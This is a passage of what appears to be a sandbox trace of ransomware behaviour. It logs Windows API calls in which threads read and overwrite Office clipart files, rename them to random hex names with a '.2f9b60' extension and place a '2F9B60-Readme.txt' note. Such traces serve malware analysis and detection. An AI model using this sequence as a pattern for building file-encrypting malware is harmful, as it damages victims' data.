Seed=0x1e04f7f0) returned 0x87aac40 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x4e9cf291 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x7f0f04fd [0123.693] ReadFile (in: hFile=0x182c, lpBuffer=0x41d100b0, nNumberOfBytesToRead=0x1eb6, lpNumberOfBytesRead=0x1e04f7f0, lpOverlapped=0x0 | out: lpBuffer=0x41d100b0*, lpNumberOfBytesRead=0x1e04f7f0*=0x1eb6, lpOverlapped=0x0) returned 1 [0123.978] SetFilePointerEx (in: hFile=0x182c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.978] WriteFile (in: hFile=0x182c, lpBuffer=0x41d13cc0*, nNumberOfBytesToWrite=0x1eb6, lpNumberOfBytesWritten=0x1e04f7f4, lpOverlapped=0x0 | out: lpBuffer=0x41d13cc0*, lpNumberOfBytesWritten=0x1e04f7f4*=0x1eb6, lpOverlapped=0x0) returned 1 [0166.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0166.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1760 [0166.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1760) returned 1 [0166.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d13cc0) returned 1 [0166.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d100b0) returned 1 [0166.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505490) returned 1 [0166.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059b50) returned 1 [0166.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1760 [0166.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059b50 [0166.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505490 [0166.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a17c0 [0166.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a17c0) returned 1 [0166.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a17c0 [0166.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2720 [0166.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a24b0 [0166.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a24b0) returned 1 [0166.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505490) returned 1 [0166.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059b50) returned 1 [0166.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13670 [0166.064] SetFilePointerEx (in: hFile=0x182c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.064] WriteFile (in: hFile=0x182c, lpBuffer=0x1ce13670*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e04f910, lpOverlapped=0x0 | out: lpBuffer=0x1ce13670*, lpNumberOfBytesWritten=0x1e04f910*=0x10a, lpOverlapped=0x0) returned 1 [0200.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb840 [0200.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb840) returned 1 [0200.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb840 [0200.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb810 [0200.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb810) returned 1 [0200.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8040 [0200.160] sprintf (in: _Dest=0x1b7d8040, _Format="%c%c" | out: _Dest="bc") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8042, _Format="%c%c" | out: _Dest="74") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8044, _Format="%c%c" | out: _Dest="48") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8046, _Format="%c%c" | out: _Dest="fe") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8048, _Format="%c%c" | out: _Dest="f7") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d804a, _Format="%c%c" | out: _Dest="49") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d804c, _Format="%c%c" | out: _Dest="7b") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d804e, _Format="%c%c" | out: _Dest="96") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8050, _Format="%c%c" | out: _Dest="28") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8052, _Format="%c%c" | out: _Dest="b6") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8054, _Format="%c%c" | out: _Dest="03") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8056, _Format="%c%c" | out: _Dest="29") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8058, _Format="%c%c" | out: _Dest="a9") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d805a, _Format="%c%c" | out: _Dest="36") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d805c, _Format="%c%c" | out: _Dest="f9") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d805e, _Format="%c%c" | out: _Dest="45") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8060, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8062, _Format="%c%c" | out: _Dest="66") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8064, _Format="%c%c" | out: _Dest="86") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8066, _Format="%c%c" | out: _Dest="06") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d8068, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.160] sprintf (in: _Dest=0x1b7d806a, _Format="%c%c" | out: _Dest="84") returned 2 [0200.161] sprintf (in: _Dest=0x1b7d806c, _Format="%c%c" | out: _Dest="ab") returned 2 [0200.161] sprintf (in: _Dest=0x1b7d806e, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.161] RtlInitAnsiString (in: DestinationString=0x1e04f988, SourceString="bc7448fef7497b9628b60329a936f9454e6686064e84abcf" | out: DestinationString="bc7448fef7497b9628b60329a936f9454e6686064e84abcf") [0200.161] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e04f958, SourceString="bc7448fef7497b9628b60329a936f9454e6686064e84abcf", AllocateDestinationString=1 | out: DestinationString="bc7448fef7497b9628b60329a936f9454e6686064e84abcf") returned 0x0 [0200.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0470 [0200.161] wcscat (in: _Dest=0x431e3c60, _Source="bc7448fef749" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc7448fef749") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc7448fef749" [0200.162] wcscat (in: _Dest=0x431e3c60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc7448fef749.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc7448fef749.2f9b60" [0200.162] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc7448fef749.2f9b60", NtPathName=0x1e04f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc7448fef749.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ed320 Thread: id = 1486 os_tid = 0x198c [0120.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0122.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF", dwFileAttributes=0x20) returned 1 [0122.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1834 [0123.487] GetFileSizeEx (in: hFile=0x1834, lpFileSize=0x1df6fe00 | out: lpFileSize=0x1df6fe00*=1012) returned 1 [0123.487] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x3f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.487] ReadFile (in: hFile=0x1834, lpBuffer=0x1df6fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1df6fdc8, lpOverlapped=0x0 | out: lpBuffer=0x1df6fd80*, lpNumberOfBytesRead=0x1df6fdc8*=0x4, lpOverlapped=0x0) returned 1 [0123.534] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dcf0 [0123.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e2f0 [0123.534] NtQuerySystemTime (in: CurrentTime=0x1df6fcc0 | out: CurrentTime=0x1df6fcc0*=132462177289102000) returned 0x0 [0123.534] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x797adf2a [0123.534] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x27960d2f [0123.534] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x41cda677 [0123.534] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x19b37f15 [0123.534] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x1317a73 [0123.534] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x51b8eb72 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x1598cbfe [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x1ce5a948 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x1bda02 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x5f8a4b5c [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x5d98ae0a [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x14c4f492 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x4846b33e [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x11ad76bd [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x6b07655d [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x7b41a7e4 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x8d3ad9d [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x1046dffc [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x4a65a413 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x41c2d393 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x3f827657 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x69b495d1 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x297782e0 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x20c73566 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x1de0fbf [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x3f474fe8 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x2f47dfb0 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x2292ceb9 [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x1598cbfe [0123.535] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x14f44c6b [0123.536] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x2be7bec6 [0123.536] RtlRandomEx (in: Seed=0x1df6fcb0 | out: Seed=0x1df6fcb0) returned 0x6b43c302 [0123.544] ReadFile (in: hFile=0x1834, lpBuffer=0x1cf12af0, nNumberOfBytesToRead=0x3f4, lpNumberOfBytesRead=0x1df6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesRead=0x1df6fcb0*=0x3f4, lpOverlapped=0x0) returned 1 [0123.544] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.544] WriteFile (in: hFile=0x1834, lpBuffer=0x1cefc290*, nNumberOfBytesToWrite=0x3f4, lpNumberOfBytesWritten=0x1df6fcb4, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesWritten=0x1df6fcb4*=0x3f4, lpOverlapped=0x0) returned 1 [0123.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d8d0 [0123.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d8d0) returned 1 [0123.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cefc290) returned 1 [0123.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf12af0) returned 1 [0123.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503910) returned 1 [0123.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059740) returned 1 [0123.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050d8d0 [0123.877] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.877] WriteFile (in: hFile=0x1834, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1df6fdd0, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x1df6fdd0*=0x10a, lpOverlapped=0x0) returned 1 [0123.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059790 [0123.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503a10 [0123.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0123.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260560) returned 1 [0123.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0123.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260320 [0123.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260320) returned 1 [0123.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a10) returned 1 [0123.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059790) returned 1 [0123.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.913] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="e9") returned 2 [0123.913] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="e5") returned 2 [0123.913] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="e7") returned 2 [0123.913] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="4e") returned 2 [0123.913] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="74") returned 2 [0123.913] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="d4") returned 2 [0123.913] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="86") returned 2 [0123.913] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="97") returned 2 [0123.913] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="f9") returned 2 [0123.913] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="f8") returned 2 [0123.913] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="3c") returned 2 [0123.913] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="c9") returned 2 [0123.913] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="52") returned 2 [0123.913] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="0b") returned 2 [0123.914] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="57") returned 2 [0123.914] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="39") returned 2 [0123.914] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="d3") returned 2 [0123.914] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="30") returned 2 [0123.914] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="c6") returned 2 [0123.914] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="36") returned 2 [0123.914] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="14") returned 2 [0123.914] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="8e") returned 2 [0123.914] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="47") returned 2 [0123.914] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="9c") returned 2 [0123.914] RtlInitAnsiString (in: DestinationString=0x1df6fe48, SourceString="e9e5e74e74d48697f9f83cc9520b5739d330c636148e479c" | out: DestinationString="e9e5e74e74d48697f9f83cc9520b5739d330c636148e479c") [0123.914] RtlAnsiStringToUnicodeString (in: DestinationString=0x1df6fe18, SourceString="e9e5e74e74d48697f9f83cc9520b5739d330c636148e479c", AllocateDestinationString=1 | out: DestinationString="e9e5e74e74d48697f9f83cc9520b5739d330c636148e479c") returned 0x0 [0123.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9010 [0123.914] wcscat (in: _Dest=0x202b0970, _Source="e9e5e74e74d4" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4" [0123.914] wcscat (in: _Dest=0x202b0970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4.2f9b60" [0123.914] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4.2f9b60", NtPathName=0x1df6fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107180 [0123.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107180) returned 1 [0123.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47780) returned 1 [0123.946] NtQueryInformationFile (in: FileHandle=0x1834, IoStatusBlock=0x1df6fe58, FileInformation=0x1df6fe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1df6fe58, FileInformation=0x1df6fe68) returned 0x0 [0123.946] NtSetInformationFile (FileHandle=0x1834, IoStatusBlock=0x1df6fe58, FileInformation=0x1df6fe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0970) returned 1 [0123.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9010) returned 1 [0123.948] FlushFileBuffers (hFile=0x1834) returned 1 [0124.107] CloseHandle (hObject=0x1834) returned 1 [0124.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1370 [0124.109] wcscpy (in: _Dest=0x202b1370, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.109] wcscat (in: _Dest=0x202b1370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0124.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509a80) returned 1 Thread: id = 1487 os_tid = 0x1990 [0120.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0122.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF", dwFileAttributes=0x20) returned 1 [0122.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1828 [0123.493] GetFileSizeEx (in: hFile=0x1828, lpFileSize=0x1e15fd40 | out: lpFileSize=0x1e15fd40*=880) returned 1 [0123.493] SetFilePointerEx (in: hFile=0x1828, liDistanceToMove=0x36c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.493] ReadFile (in: hFile=0x1828, lpBuffer=0x1e15fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e15fd08, lpOverlapped=0x0 | out: lpBuffer=0x1e15fcc0*, lpNumberOfBytesRead=0x1e15fd08*=0x4, lpOverlapped=0x0) returned 1 [0123.675] SetFilePointerEx (in: hFile=0x1828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f160 [0123.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd20 [0123.676] NtQuerySystemTime (in: CurrentTime=0x1e15fc00 | out: CurrentTime=0x1e15fc00*=132462177290506000) returned 0x0 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x1d2a9786 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x7cf4940 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x3bec5503 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x3d45c08d [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x24da2f23 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x7cf4940 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x3df3e0ec [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x46516dd4 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x6b7aaa79 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x64d9b96f [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x78f6f186 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x12fd5453 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x3a419aed [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0xac7c8d3 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x650193b1 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x824fac0 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x10c02bbd [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x77199d8b [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x2c1e660f [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x2c8e51de [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x182205a [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0xfd460f9 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x3b081883 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x6231cc9f [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x5b24c141 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x56792f67 [0123.676] RtlRandomEx (in: 